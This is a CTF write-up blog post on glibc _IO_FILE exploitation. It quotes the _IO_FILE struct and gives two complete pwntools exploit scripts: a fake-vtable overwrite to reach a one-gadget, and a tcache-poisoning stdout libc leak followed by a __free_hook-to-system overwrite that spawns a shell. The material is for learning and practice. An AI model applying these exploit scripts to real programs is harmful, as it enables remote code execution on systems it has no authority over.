pwn

IO_file

in pwn

Posted by pic4xiu on July 31, 2020

Pic4xiu’s note for IOFILE

_IO_FILE Source code

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

Some common sense

stdin、stdout、stderr are in the libc.so data segment (automatically opened) ,But the file stream created by fopen is in the heap

_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_
//what they look like

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;//The 32-bit offset is 0x94, while the 64 bit offset is 0xd8
}

Look at the picture below , VTable has function pointers below that can jump

image

Some exercises

fake_vtable

The_end ( hctf )

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context(arch='amd64', os='linux')
local = 1
elf = ELF('./the_end')
if local:
    p = process('the_end')
    libc = ELF('./libc.so.6')
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk ''".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
debug(0x000964)
ru("gift ")
sleep_addr = int(rc(14),16)
libc_base = sleep_addr - libc.symbols['sleep']
onegadget = libc_base + 0xf02a4
vtable = libc_base + 0x39c6f8
fake_vtable = vtable - 0x90
fake_setbuf = fake_vtable + 88
print "libc_base--->" + hex(libc_base)
print "vtable--->" + hex(vtable)
print "fake_vtable--->" + hex(fake_vtable)
print "fake_setbuf--->" + hex(fake_setbuf)
print "onegadget--->" + hex(onegadget)
for i in range(2):
    sd(p64(vtable+i))
    sd(p64(fake_vtable)[i])
for i in range(3):
    sd(p64(fake_setbuf+i))
    sd(p64(onegadget)[i])

p.interactive()

I think it’s very easy , just modify _IO_2_1_stdout_ vtable addr to a fake_vtable , then use it’s fake_setbuf to point onegadget . And this practice has another method : utilize exit execute _dl_fini , See for details

leak

bms ( ciscn )

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
context.log_level = 'debug'

p.recvuntil('username:')
p.sendline('admin')
p.recvuntil('password:')
p.sendline('frame')

def create(name,size,context):
    p.sendlineafter('>\n','1')
    p.sendafter('book name:',name)
    p.sendlineafter('description size:',str(size))
    p.sendafter('description:',context)

def createe(name,size,context):
    p.sendlineafter('>','1')
    p.sendafter('book name:',name)
    p.sendlineafter('description size:',str(size))
    p.sendafter('description:',context)

def delete(index):
    p.sendlineafter('>\n','2')
    p.sendlineafter('index:',str(index))

def deletee(index):
    p.sendlineafter('>','2')
    p.sendlineafter('index:',str(index))

#tcathe attack to the IO_File
create('A',0x68,'A'*0x68)
delete(0)
delete(0)
create('A',0x68,p64(0x602020))
create('A',0x68,'A')
create('A',0x68,'\x60')
create('A',0x68,p64(0xfbad1800)+p64(0)*3+'\x90')

#leak the libc
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 4114403
system_addr = libc_base + libc.symbols['system']
free_addr = libc_base + libc.symbols['__free_hook']
log.success('libc base is :'+hex(libc_base))

#tcache attack to __free_hook
createe('A',0x30,'A')#5
deletee(5)
deletee(5)
createe('A',0x30,p64(free_addr))#6
createe('A',0x30,'/bin/sh')#7
createe('A',0x30,p64(system_addr))#8

#trigger
deletee(7)

p.interactive()

This exercise combined tcache , very interesting !